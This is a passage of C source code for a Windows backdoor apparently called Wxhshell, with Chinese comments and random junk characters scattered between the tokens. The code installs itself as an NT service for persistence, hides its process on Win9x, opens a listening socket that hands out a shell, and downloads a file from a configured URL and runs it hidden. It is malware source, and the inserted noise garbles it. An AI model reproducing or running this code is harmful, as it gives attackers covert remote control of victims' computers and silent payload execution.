-V YYwFjA@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ugzq;}V# 8`l bKV CloseHandle(hProcess); :1NF#-2\f Y4q; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~'k.'O{ if(hProcess==NULL) return 0; musZCg$ ")LcB'C HMODULE hMod; + pTc2z char procName[255]; w}nc^6qH unsigned long cbNeeded; M|nTO VgLrufJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #lXwBfBMf &g%9$*gmT CloseHandle(hProcess); ;DbEP. %u$ xwoK#eC~F if(strstr(procName,"services")) return 1; // 以服务启动 (
`T;nz #m[R1G# return 0; // 注册表启动 s>hNwb/ } PoTJ4z 6wK>SW)#&j // 主模块
g93-2k, int StartWxhshell(LPSTR lpCmdLine) 5'>DvCp%M { t[/WGF&(R SOCKET wsl; 5'=\$Ob BOOL val=TRUE; [vCZoG8+> int port=0; k'Is]=3 struct sockaddr_in door; vJTdZ p M,nX@8 _h if(wscfg.ws_autoins) Install(); X}x"+#\<@ ObJgJr port=atoi(lpCmdLine); %<c2jvn+k mX2i^.zH if(port<=0) port=wscfg.ws_port; &[QvMh 3fA.DK[4[ WSADATA data; `F-<P%k if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eW%Cef J?9K|4
) if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mAO$gHQ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5DB4 vh door.sin_family = AF_INET; &/)2P#u door.sin_addr.s_addr = inet_addr("127.0.0.1"); 62BT 3/~ door.sin_port = htons(port); !7)` g i !C ]5_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x -CTMKX closesocket(wsl); fL-lx-~ return 1; S~L;oX?(! } v__n>*x 3azyqpwU$ if(listen(wsl,2) == INVALID_SOCKET) { |qe[`x;
% closesocket(wsl); G':wJ7[]` return 1; lRb|GS.h/ } v0psth?qV Wxhshell(wsl); APye WSACleanup(); |7XPu V
,#
|\ return 0; ]/31@RT vZhC_G+tGd } Bgw=((p _"nzo4e0 // 以NT服务方式启动 3(?V!y{@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S)`%clN}J { \0bao< DWORD status = 0; $wnK"k%G DWORD specificError = 0xfffffff; haTmfh_| #GoZH?MAF serviceStatus.dwServiceType = SERVICE_WIN32; 7S^ba serviceStatus.dwCurrentState = SERVICE_START_PENDING; wg-qq4Q\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (^),G-] serviceStatus.dwWin32ExitCode = 0; S(*u_ serviceStatus.dwServiceSpecificExitCode = 0; (tG8HwV- serviceStatus.dwCheckPoint = 0; ~bC-0^/
8| serviceStatus.dwWaitHint = 0; LsW7JIQd M{(g"ha hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HRP if (hServiceStatusHandle==0) return; ^~dBO%M^ UQ[!k 6 status = GetLastError(); hD)'bd if (status!=NO_ERROR) `LroH>_ { /sU~cn^D5 serviceStatus.dwCurrentState = SERVICE_STOPPED; ?LxBH-o( serviceStatus.dwCheckPoint = 0; %X|fp{C serviceStatus.dwWaitHint = 0; kh7RQbNY<I serviceStatus.dwWin32ExitCode = status; ([g[\c,H serviceStatus.dwServiceSpecificExitCode = specificError; Sm7O%V8{p SetServiceStatus(hServiceStatusHandle, &serviceStatus); oh^/)2W return; yzH(\ x }
EU5^"\ 4fR}+[~2 serviceStatus.dwCurrentState = SERVICE_RUNNING; 5)@UpcjUA serviceStatus.dwCheckPoint = 0; #3~ #`& serviceStatus.dwWaitHint = 0;
:r+BL@9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VWLqJd>tr1 } 3P,
ul*e K$1(HbL // 处理NT服务事件,比如:启动、停止 Q
L 1e VOID WINAPI NTServiceHandler(DWORD fdwControl) .5_zh;
` {
]S2F9 switch(fdwControl) $l
W
7me { iNO}</7? case SERVICE_CONTROL_STOP: v~B
"Il serviceStatus.dwWin32ExitCode = 0; )I{~Pcq serviceStatus.dwCurrentState = SERVICE_STOPPED; P*
Z1Rs_ serviceStatus.dwCheckPoint = 0; JKjVrx>
@ serviceStatus.dwWaitHint = 0; *#y9 Pve { f*%Y]XL;% SetServiceStatus(hServiceStatusHandle, &serviceStatus); TWU[/>K } +hZ{/ return; ByU&fx2Z case SERVICE_CONTROL_PAUSE: Kb$6a'u7 serviceStatus.dwCurrentState = SERVICE_PAUSED; L>3- z>u, break; gl$}t H case SERVICE_CONTROL_CONTINUE: 7=wPd4
serviceStatus.dwCurrentState = SERVICE_RUNNING; q2{Aq[ break; $wm.,Vb
case SERVICE_CONTROL_INTERROGATE: ##QKXSD break; .EfGL_ }; /:=,mWoO SetServiceStatus(hServiceStatusHandle, &serviceStatus); S Boi| } 0F5QAR
O ,5XDH6L1 // 标准应用程序主函数 H~1o^
gU int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &Hj1jM' { oF(=@UL A[hvT\X // 获取操作系统版本 eWk
W,a OsIsNt=GetOsVer(); 6Zx'$F.iqK GetModuleFileName(NULL,ExeFile,MAX_PATH); :OKU@l| 7`P1=`.. // 从命令行安装 s
+Q'\? if(strpbrk(lpCmdLine,"iI")) Install(); LLV1W0VO=P yhsbso,5 a // 下载执行文件 j
e;^i,& if(wscfg.ws_downexe) { =XhxD<kI if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S=zW
wo$ WinExec(wscfg.ws_filenam,SW_HIDE); ugy:^U } c#L.I b~td^ if(!OsIsNt) { zI&). // 如果时win9x,隐藏进程并且设置为注册表启动 k:yrh:JhB HideProc(); C"cBlru8B StartWxhshell(lpCmdLine); &0Bs?oq_ } )VM'^sV? else Fo;. if(StartFromService()) d%lwg~@&|5 // 以服务方式启动 m`!Vryf StartServiceCtrlDispatcher(DispatchTable); D>6vI else IAFj_VWC0 // 普通方式启动 j"4]iI+ {" StartWxhshell(lpCmdLine); hmES@^n!_ NGp^/PZX0 return 0; }nt,DG!r }
|